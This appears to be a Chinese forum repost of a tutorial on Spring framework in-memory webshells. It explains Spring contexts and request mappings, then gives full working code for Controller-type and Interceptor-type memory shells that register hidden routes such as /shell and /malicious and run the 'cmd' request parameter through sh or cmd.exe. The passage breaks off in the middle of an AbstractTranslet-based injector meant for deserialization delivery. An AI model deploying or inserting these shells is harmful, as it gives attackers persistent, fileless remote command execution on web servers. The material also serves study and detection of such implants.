Spring内存马分析

打印 上一主题 下一主题

主题 907|帖子 907|积分 2721

情况搭建

踩了很多坑....,不过还好最后还是成功了
IDEA直接新建javaEE项目,然后记得把index.jsp删了,不然DispatcherServlet会失效
导入依赖:
  1. <dependencies>
  2.       <dependency>
  3.           <groupId>org.springframework</groupId>
  4.           <artifactId>spring-webmvc</artifactId>
  5.           <version>5.3.1</version>
  6.       </dependency>
  7.       
  8.       <dependency>
  9.           <groupId>ch.qos.logback</groupId>
  10.           <artifactId>logback-classic</artifactId>
  11.           <version>1.2.3</version>
  12.       </dependency>
  13.       
  14.       <dependency>
  15.           <groupId>javax.servlet</groupId>
  16.           <artifactId>javax.servlet-api</artifactId>
  17.           <version>3.1.0</version>
  18.           <scope>provided</scope>
  19.       </dependency>
  20.       
  21.       <dependency>
  22.           <groupId>org.thymeleaf</groupId>
  23.           <artifactId>thymeleaf-spring5</artifactId>
  24.           <version>3.0.12.RELEASE</version>
  25.       </dependency>
  26.       <dependency>
  27.           <groupId>javax.servlet</groupId>
  28.           <artifactId>javax.servlet-api</artifactId>
  29.           <version>4.0.1</version>
  30.           <scope>provided</scope>
  31.       </dependency>
  32.     <dependency>
  33.       <groupId>org.junit.jupiter</groupId>
  34.       <artifactId>junit-jupiter-api</artifactId>
  35.       <version>${junit.version}</version>
  36.       <scope>test</scope>
  37.     </dependency>
  38.     <dependency>
  39.       <groupId>org.junit.jupiter</groupId>
  40.       <artifactId>junit-jupiter-engine</artifactId>
  41.       <version>${junit.version}</version>
  42.       <scope>test</scope>
  43.     </dependency>
  44.   </dependencies>
复制代码
web.xml导入:
  1. <servlet>
  2.         <servlet-name>springmvc</servlet-name>
  3.         <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
  4.         <init-param>
  5.             <param-name>contextConfigLocation</param-name>
  6.             <param-value>classpath:/springmvc.xml</param-value>
  7.         </init-param>
  8.         <load-on-startup>1</load-on-startup>
  9.     </servlet>
  10.     <servlet-mapping>
  11.         <servlet-name>springmvc</servlet-name>
  12.         <url-pattern>/</url-pattern>
  13.     </servlet-mapping>
复制代码
springmvc.xml,放在resource目录下:
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <beans xmlns="http://www.springframework.org/schema/beans"
  3.        xmlns:mvc="http://www.springframework.org/schema/mvc"
  4.        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  5.        xmlns:context="http://www.springframework.org/schema/context"
  6.        xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context https://www.springframework.org/schema/context/spring-context.xsd http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc.xsd">
  7.    
  8.     <context:component-scan base-package="com.example.springmemory.controller"></context:component-scan>
  9.     <mvc:annotation-driven/>
  10.    
  11.     <bean id="viewResolver"
  12.           >
  13.         <property name="order" value="1"/>
  14.         <property name="characterEncoding" value="UTF-8"/>
  15.         <property name="templateEngine">
  16.             <bean >
  17.                 <property name="templateResolver">
  18.                     <bean
  19.                             >
  20.                         
  21.                         <property name="prefix" value="/WEB-INF/templates/"/>
  22.                         
  23.                         <property name="suffix" value=".html"/>
  24.                         <property name="templateMode" value="HTML5"/>
  25.                         <property name="characterEncoding" value="UTF-8" />
  26.                     </bean>
  27.                 </property>
  28.             </bean>
  29.         </property>
  30.     </bean>
  31. </beans>
复制代码
写一个测试Servlet:
  1. package com.example.springmemory.controller;
  2. import org.springframework.stereotype.Controller;
  3. import org.springframework.web.bind.annotation.RequestMapping;
  4. @Controller
  5. public class HelloController {
  6.     @RequestMapping("/")
  7.     public String index(){
  8.         return "index";
  9.     }
  10. }
复制代码
启动tomcat服务,如果是/WEB-INF/templates/index.html的内容,说明设置成功,跳转位置可以根据个人习惯进行修改
Controller型内存马

简朴介绍

Bean

Bean 是 Spring 框架的一个焦点概念,它是构成应用程序的主干,并且是由 Spring IOC 容器负责实例化、设置、组装和管理的对象。

  • bean 是对象
  • bean 被 IOC 容器管理
  • Spring 应用重要是由一个个的 bean 构成的
IOC容器

如果一个系统有大量的组件(类),其生命周期和相互之间的依赖关系如果由组件自身来维护,不但大大增加了系统的复杂度,而且会导致组件之间极为紧密的耦合,继而给测试和维护带来了极大的困难。解决这一问题的焦点方案就是IOC(又称为依赖注入)。由IOC负责创建组件、根据依赖关系组装组件、按依赖顺序精确销毁组件。IOC容器通过读取设置元数据来获取对象的实例化、设置和组装的描述信息。设置的零元数据可以用xml、Java注解或Java代码来表示。
ApplicationContext

很眼熟,我们在分析Tomcat内存马的时候就提到过它,当时是代表Tomcat的容器。Spring 框架中,BeanFactory 接口是 Spring IOC容器 的现实代表者,Spring容器就是ApplicationContext,它是一个接口继承于BeanFactory,有很多实现类。得到了ApplicationContext的实例,就得到了IOC容器的引用。我们可以从ApplicationContext中可以根据Bean的ID获取Bean。

因此,org.springframework.context.ApplicationContext接口也代表了 IOC容器 ,它负责实例化、定位、设置应用程序中的对象(bean)及建立这些对象间(beans)的依赖。
Root Context和Child Context

举个web.xml例子:
  1. ...
  2. <servlet>
  3.   <servlet-name>spring</servlet-name>
  4.   <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
  5.   <init-param>
  6.     <param-name>contextConfigLocation</param-name>
  7.     <param-value>/WEB-INF/springmvc.xml</param-value>
  8.   </init-param>
  9.   <load-on-startup>1</load-on-startup>
  10. </servlet>
  11. <servlet-mapping>
  12.   <servlet-name>spring</servlet-name>
  13.   <url-pattern>/</url-pattern>
  14. </servlet-mapping>
  15. ...
复制代码
这里我们将DispatcherServlet设置别名为spring,然后将contextConfigLocation参数值设置为/WEB-INF/springmvc.xml。依照规范,当没有显式设置contextConfigLocation时,程序会自动寻找 /WEB-INF/-servlet.xml作为设置文件,上文的是DispatcherServlet,所以若是没有表现设置contextConfigLocation的话,会去找/WEB-INF/DispatcherServlet-servlet.xml作为设置文件。
每个具体的DispatcherServlet创建的是一个Child Context,代表一个独立的 IOC 容器;而 ContextLoaderListener所创建的是一个Root Context,代表全局唯一的一个公共 IOC 容器.如果要访问和操作 bean ,一般要得到当前代码执行情况的IOC 容器 代表者 ApplicationContext。

  • Spring 应用中可以同时有多个 Context,其中只有一个 Root Context,剩下的满是 Child Context
  • 所有Child Context都可以访问在 Root Context中定义的 bean,但是Root Context无法访问Child Context中定义的 bean
  • 所有的Context在创建后,都会被作为一个属性添加到了ServletContext中
ContextLoaderListener

ContextLoaderListener重要被用来初始化全局唯一的Root Context,即Root WebApplicationContext。这个Root WebApplicationContext会和其他 Child Context 实例共享它的 IOC 容器,供其他 Child Context 获取并利用容器中的 bean。
构造思路


  • 获取上下文情况context
  • 动态注册controller
  • 设置映射
获取Context的四种方法

getCurrentWebApplicationContext()
  1. // getCurrentWebApplicationContext方法获得的是一个XmlWebApplicationContext实例类型的Root WebApplicationContext。
  2. WebApplicationContext WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
复制代码
WebApplicationContextUtils
  1. // 通过这种方法获得的也是一个 Root WebApplicationContext 。此方法看起来比较麻烦
  2. WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
复制代码
RequestContextUtils
  1. // 通过 ServletRequest 类的实例来获得 Child WebApplicationContext
  2. WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
复制代码
getAttribute
  1. // 这种方式与前几种的思路就不太一样了,因为所有的Context在创建后,都会被作为一个属性添加到了ServletContext中。所以通过直接获得ServletContext通过属性Context拿到 Child WebApplicationContext
  2. WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
复制代码
Spring 2.5 到 Spring 3.1 之前一般利用org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping映射器 。
Spring 3.1 开始及以后一般开始利用新的org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping映射器来支持@Contoller和@RequestMapping注解。因此也就有分开的2条思路来注册controller
registerMapping

在spring4后可以直接用registerMapping来直接注册controller,这个也是RequestMappingHandlerMapping中利用的方法
  1. // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
  2. RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
  3. // 2. 通过反射获得自定义 controller 中唯一的 Method 对象
  4. Method method = (Class.forName("me.landgrey.SSOLogin").getDeclaredMethods())[0];
  5. // 3. 定义访问 controller 的 URL 地址
  6. PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");
  7. // 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
  8. RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
  9. // 5. 在内存中动态注册 controller
  10. RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
  11. r.registerMapping(info, Class.forName("恶意Controller").newInstance(), method);
复制代码
registerHandler

针对利用DefaultAnnotationHandlerMapping映射器的应用,可以找到它继承的顶层类org.springframework.web.servlet.handler.AbstractUrlHandlerMapping,在其中的registerHandler()方法中注册
了controller
  1. protected void registerHandler(String urlPath, Object handler) throws BeansException, IllegalStateException {
  2.                 Assert.notNull(urlPath, "URL path must not be null");
  3.                 Assert.notNull(handler, "Handler object must not be null");
  4.                 Object resolvedHandler = handler;
  5.                 // Eagerly resolve handler if referencing singleton via name.
  6.                 if (!this.lazyInitHandlers && handler instanceof String) {
  7.                         String handlerName = (String) handler;
  8.                         ApplicationContext applicationContext = obtainApplicationContext();
  9.                         if (applicationContext.isSingleton(handlerName)) {
  10.                                 resolvedHandler = applicationContext.getBean(handlerName);
  11.                         }
  12.                 }
  13.                 Object mappedHandler = this.handlerMap.get(urlPath);
  14.                 if (mappedHandler != null) {
  15.                         if (mappedHandler != resolvedHandler) {
  16.                                 throw new IllegalStateException(
  17.                                                 "Cannot map " + getHandlerDescription(handler) + " to URL path [" + urlPath +
  18.                                                 "]: There is already " + getHandlerDescription(mappedHandler) + " mapped.");
  19.                         }
  20.                 }
  21.                 else {
  22.                         if (urlPath.equals("/")) {
  23.                                 if (logger.isTraceEnabled()) {
  24.                                         logger.trace("Root mapping to " + getHandlerDescription(handler));
  25.                                 }
  26.                                 setRootHandler(resolvedHandler);
  27.                         }
  28.                         else if (urlPath.equals("/*")) {
  29.                                 if (logger.isTraceEnabled()) {
  30.                                         logger.trace("Default mapping to " + getHandlerDescription(handler));
  31.                                 }
  32.                                 setDefaultHandler(resolvedHandler);
  33.                         }
  34.                         else {
  35.                                 this.handlerMap.put(urlPath, resolvedHandler);
  36.                                 if (getPatternParser() != null) {
  37.                                         this.pathPatternHandlerMap.put(getPatternParser().parse(urlPath), resolvedHandler);
  38.                                 }
  39.                                 if (logger.isTraceEnabled()) {
  40.                                         logger.trace("Mapped [" + urlPath + "] onto " + getHandlerDescription(handler));
  41.                                 }
  42.                         }
  43.                 }
  44.         }
复制代码
urlPath和handler,这两者分别就是router和controller
  1. // 1. 在当前上下文环境中注册一个名为 dynamicController 的 Webshell controller 实例 bean
  2. context.getBeanFactory().registerSingleton("dynamicController", Class.forName("me.landgrey.SSOLogin").newInstance());
  3. // 2. 从当前上下文环境中获得 DefaultAnnotationHandlerMapping 的实例 bean
  4. org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping  dh = context.getBean(org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping.class);
  5. // 3. 反射获得 registerHandler Method
  6. java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractUrlHandlerMapping.class.getDeclaredMethod("registerHandler", String.class, Object.class);
  7. m1.setAccessible(true);
  8. // 4. 将 dynamicController 和 URL 注册到 handlerMap 中
  9. m1.invoke(dh, "/favicon", "dynamicController");
复制代码
detectHandlerMethods

针对利用RequestMappingHandlerMapping映射器的应用,可以找到它继承的顶层类org.springframework.web.servlet.handler.AbstractHandlerMethodMapping在其detectHandlerMethods()方法中注册了controller
  1. protected void detectHandlerMethods(Object handler) {
  2.     Class<?> handlerType = handler instanceof String ? this.getApplicationContext().getType((String)handler) : handler.getClass();
  3.     final Class<?> userType = ClassUtils.getUserClass(handlerType);
  4.     Set<Method> methods = HandlerMethodSelector.selectMethods(userType, new MethodFilter() {
  5.         public boolean matches(Method method) {
  6.             return AbstractHandlerMethodMapping.this.getMappingForMethod(method, userType) != null;
  7.         }
  8.     });
  9.     Iterator var6 = methods.iterator();
  10.     while(var6.hasNext()) {
  11.         Method method = (Method)var6.next();
  12.         T mapping = this.getMappingForMethod(method, userType);
  13.         this.registerHandlerMethod(handler, method, mapping);
  14.     }
  15. }
复制代码
  1. context.getBeanFactory().registerSingleton("dynamicController", Class.forName("恶意Controller").newInstance());
  2. org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class);
  3. java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods", Object.class);
  4. m1.setAccessible(true);
  5. m1.invoke(requestMappingHandlerMapping, "dynamicController");
复制代码
构造内存马
  1. package com.example.springmemory.controller;
  2. import org.springframework.stereotype.Controller;
  3. import org.springframework.web.bind.annotation.RequestMapping;
  4. import org.springframework.web.context.WebApplicationContext;
  5. import org.springframework.web.context.request.RequestContextHolder;
  6. import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
  7. import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
  8. import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
  9. import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
  10. import javax.servlet.http.HttpServletRequest;
  11. import javax.servlet.http.HttpServletResponse;
  12. import java.io.IOException;
  13. import java.io.InputStream;
  14. import java.lang.reflect.Method;
  15. import java.util.Scanner;
  16. @Controller
  17. public class EvilController {
  18.     @RequestMapping("/control")
  19.     public void Spring_Controller() throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException {
  20.         System.out.println("i am in");
  21.         //获取当前上下文环境
  22.         WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
  23.         //手动注册Controller
  24.         // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例
  25.         RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
  26.         // 2. 通过反射获得自定义 controller 中唯一的 Method 对象
  27.         Method method = Controller_Shell.class.getDeclaredMethod("shell", HttpServletRequest.class, HttpServletResponse.class);
  28.         // 3. 定义访问 controller 的 URL 地址
  29.         PatternsRequestCondition url = new PatternsRequestCondition("/shell");
  30.         // 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
  31.         RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
  32.         // 5. 在内存中动态注册 controller
  33.         RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
  34.         r.registerMapping(info, new Controller_Shell(), method);
  35.     }
  36.     public class Controller_Shell{
  37.         public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {
  38.             if (request.getParameter("cmd") != null) {
  39.                 boolean isLinux = true;
  40.                 String osTyp = System.getProperty("os.name");
  41.                 if (osTyp != null && osTyp.toLowerCase().contains("win")) {
  42.                     isLinux = false;
  43.                 }
  44.                 String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
  45.                 InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
  46.                 Scanner s = new Scanner(in).useDelimiter("\\A");
  47.                 String output = s.hasNext() ? s.next() : "";
  48.                 response.getWriter().write(output);
  49.                 response.getWriter().flush();
  50.             }
  51.         }
  52.     }
  53. }
复制代码
访问/control

虽然500,但没有影响,成功写入马子

留意

这个马子有版本限制,绕过方法可以参考
https://blog.csdn.net/mole_exp/article/details/123992395
这里给出另外两个马子,方便本身复习(
  1. /**
  2. * 适用于 SpringMVC+Tomcat的环境,以及Springboot 2.x 环境.
  3. *   因此比 SpringControllerMemShell.java 更加通用
  4. *   Springboot 1.x 和 3.x 版本未进行测试
  5. */
  6. public class SpringControllerMemShell2 {
  7.     public SpringControllerMemShell2() {
  8.         try {
  9.             WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
  10.             RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
  11.             Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
  12.             configField.setAccessible(true);
  13.             RequestMappingInfo.BuilderConfiguration config =
  14.                     (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
  15.             Method method2 = SpringControllerMemShell2.class.getMethod("test");
  16.             RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
  17.             RequestMappingInfo info = RequestMappingInfo.paths("/malicious")
  18.                     .options(config)
  19.                     .build();
  20.             SpringControllerMemShell2 springControllerMemShell = new SpringControllerMemShell2("aaa");
  21.             mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
  22.         } catch (Exception e) {
  23.         }
  24.     }
  25.     public SpringControllerMemShell2(String aaa) {
  26.     }
  27.     public void test() throws IOException {
  28.         HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
  29.         HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
  30.         try {
  31.             String arg0 = request.getParameter("cmd");
  32.             PrintWriter writer = response.getWriter();
  33.             if (arg0 != null) {
  34.                 String o = "";
  35.                 ProcessBuilder p;
  36.                 if (System.getProperty("os.name").toLowerCase().contains("win")) {
  37.                     p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
  38.                 } else {
  39.                     p = new ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
  40.                 }
  41.                 java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
  42.                 o = c.hasNext() ? c.next() : o;
  43.                 c.close();
  44.                 writer.write(o);
  45.                 writer.flush();
  46.                 writer.close();
  47.             } else {
  48.                 response.sendError(404);
  49.             }
  50.         } catch (Exception e) {
  51.         }
  52.     }
  53. }
复制代码
  1. /**
  2. * 适用于 SpringMVC+Tomcat的环境,以及Springboot 2.x 环境.
  3. *   因此比 SpringControllerMemShell.java 更加通用
  4. *   Springboot 1.x 和 3.x 版本未进行测试
  5. */
  6. public class SpringControllerMemShell3 {
  7.     public SpringControllerMemShell3() {
  8.         try {
  9.             WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
  10.             RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
  11.             Method method2 = SpringControllerMemShell3.class.getMethod("test");
  12.             RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
  13.             Method getMappingForMethod = mappingHandlerMapping.getClass().getDeclaredMethod("getMappingForMethod", Method.class, Class.class);
  14.             getMappingForMethod.setAccessible(true);
  15.             RequestMappingInfo info =
  16.                     (RequestMappingInfo) getMappingForMethod.invoke(mappingHandlerMapping, method2, SpringControllerMemShell3.class);
  17.             SpringControllerMemShell3 springControllerMemShell = new SpringControllerMemShell3("aaa");
  18.             mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
  19.         } catch (Exception e) {
  20.         }
  21.     }
  22.     public SpringControllerMemShell3(String aaa) {
  23.     }
  24.     @RequestMapping("/malicious")
  25.     public void test() throws IOException {
  26.         HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
  27.         HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
  28.         try {
  29.             String arg0 = request.getParameter("cmd");
  30.             PrintWriter writer = response.getWriter();
  31.             if (arg0 != null) {
  32.                 String o = "";
  33.                 ProcessBuilder p;
  34.                 if (System.getProperty("os.name").toLowerCase().contains("win")) {
  35.                     p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
  36.                 } else {
  37.                     p = new ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
  38.                 }
  39.                 java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
  40.                 o = c.hasNext() ? c.next() : o;
  41.                 c.close();
  42.                 writer.write(o);
  43.                 writer.flush();
  44.                 writer.close();
  45.             } else {
  46.                 response.sendError(404);
  47.             }
  48.         } catch (Exception e) {
  49.         }
  50.     }
  51. }
复制代码
Interceptor型内存马

情况搭建

准备一个自定义的Interceptor:
  1. package com.example.springmemory.interceptor;
  2. import javax.servlet.http.HttpServletRequest;
  3. import javax.servlet.http.HttpServletResponse;
  4. import org.springframework.web.servlet.HandlerInterceptor;
  5. import org.springframework.web.servlet.ModelAndView;
  6. public class testfilter implements HandlerInterceptor {
  7.     @Override
  8.     public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
  9.         System.out.println("prehandle");
  10.         return true;
  11.     }
  12.     @Override
  13.     public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
  14.         System.out.println("posthandle");
  15.     }
  16.     @Override
  17.     public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
  18.         System.out.println("afterhandle");
  19.     }
  20. }
复制代码
最后准备一个controller
  1. package com.example.springmemory.controller;
  2. import org.springframework.stereotype.Controller;
  3. import org.springframework.web.bind.annotation.RequestMapping;
  4. @Controller
  5. public class TestController {
  6.     @RequestMapping("/normal")
  7.     public String hello(){
  8.         System.out.println("hello");
  9.         return "hello";
  10.     }
  11. }
复制代码
在springmvc.xml里注册一下拦截器
  1. <mvc:interceptors>
  2.         <mvc:interceptor>
  3.             
  4.             <mvc:mapping path="/*"/>
  5.             
  6.             <bean />
  7.         </mvc:interceptor>
  8.     </mvc:interceptors>
复制代码
启动tomcat


组件触发顺序为Listen->Filter->Interceptor->controller
调试流程分析

intercepter处打个断点进行调试

在调用internalDoFilter之前都是和tomcat启动时是一样的,之后SpringBoot进入了doDispatch方法,这个在SpringMVC中提到过了,因为有一个中央控制器控制着所有其他控制器
进入doDispatch后随之又进入了getHandler方法:

跟进getHandler方法,来到另一个getHandler

跟进这个getHandler,来到getHandlerExecutionChain中

进入getHandlerExecutionChain,在这里面添加了我们的interceptor

内存马构造

构造思路

  • 获取上下文context
  • 创建恶意Interceptor
  • 修改adaptedInterceptors属性来注册Interceptor
获取Context

这是一种上面没提到的方法
  1. // 1. 反射 org.springframework.context.support.LiveBeansView 类 applicationContexts 属性
  2. java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts");
  3. // 2. 属性被 private 修饰,所以 setAccessible true
  4. filed.setAccessible(true);
  5. // 3. 获取一个 ApplicationContext 实例
  6. org.springframework.web.context.WebApplicationContext context =(org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)filed.get(null)).iterator().next();
复制代码
LiveBeansView这个类是在spring3.2之后才添加进来的,因此在低版本这种方法是行不通的
反射获取adaptedInterceptors

这个属性是AbstractHandlerMapping类中的,因此想要获取它,首先必要获取AbstractHandlerMapping。
我们可以通过上下文先获取RequestMappingHandlerMapping1,再强制范例转换即可,RequestMappingHandlerMapping类的父类就是AbstractHandlerMapping,这个可以本身一层层点进去,会发现AbstractHandlerMapping几乎是所有Handler的父类,它直接实现了HandlerMapping接口
  1. org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
  2. java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
  3. field.setAccessible(true);
  4. java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
复制代码
注册恶意Interceptor
  1. package com.example.springmemory.interceptor;
  2. import javax.servlet.http.HttpServletRequest;
  3. import javax.servlet.http.HttpServletResponse;
  4. import org.springframework.web.servlet.HandlerInterceptor;
  5. import org.springframework.web.servlet.ModelAndView;
  6. public class testfilter implements HandlerInterceptor {
  7.     @Override
  8.     public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
  9.         Runtime.getRuntime().exec(request.getParameter("cmd"));
  10.         return true;
  11.     }
  12.     @Override
  13.     public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
  14.         System.out.println("posthandle");
  15.     }
  16.     @Override
  17.     public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
  18.         System.out.println("afterhandle");
  19.     }
  20. }
复制代码
完备POC
  1. package com.example.springmemory.controller;
  2. import org.springframework.stereotype.Controller;
  3. import org.springframework.web.bind.annotation.RequestMapping;
  4. import org.springframework.web.context.WebApplicationContext;
  5. import org.springframework.web.context.request.RequestContextHolder;
  6. import org.springframework.web.servlet.handler.AbstractHandlerMapping;
  7. import com.example.springmemory.interceptor.testfilter;
  8. @Controller
  9. public class InterceptorShell {
  10.     @RequestMapping("/addinterceptor")
  11.     public void shell() throws NoSuchFieldException, IllegalAccessException {
  12.         WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
  13.         AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
  14.         java.lang.reflect.Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
  15.         field.setAccessible(true);
  16.         java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
  17.         testfilter testfilter = new testfilter();
  18.         adaptedInterceptors.add(testfilter);
  19.     }
  20. }
复制代码
以上有点辣鸡,看下面的马
动态注册Interceptor
  1. package com.exaple.spring;
  2. import com.sun.org.apache.xalan.internal.xsltc.DOM;
  3. import com.sun.org.apache.xalan.internal.xsltc.TransletException;
  4. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  5. import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
  6. import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
  7. import org.springframework.web.context.WebApplicationContext;
  8. import org.springframework.web.context.request.RequestContextHolder;
  9. import org.springframework.web.context.request.ServletRequestAttributes;
  10. import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
  11. import org.springframework.web.servlet.support.RequestContextUtils;
  12. public class inject extends AbstractTranslet {
  13.     static {
  14.         try {
  15.             WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
  16. //从requestMappingHandlerMapping中获取adaptedInterceptors属性 老版本是DefaultAnnotationHandlerMapping
  17.             org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean(RequestMappingHandlerMapping.class);
  18.             java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
  19.             field.setAccessible(true);
  20.             java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>) field.get(abstractHandlerMapping);
  21.             String className = "com.example.spring.magicInterceptor";
  22.             //加载com.example.spring.magicInterceptor类的字节码
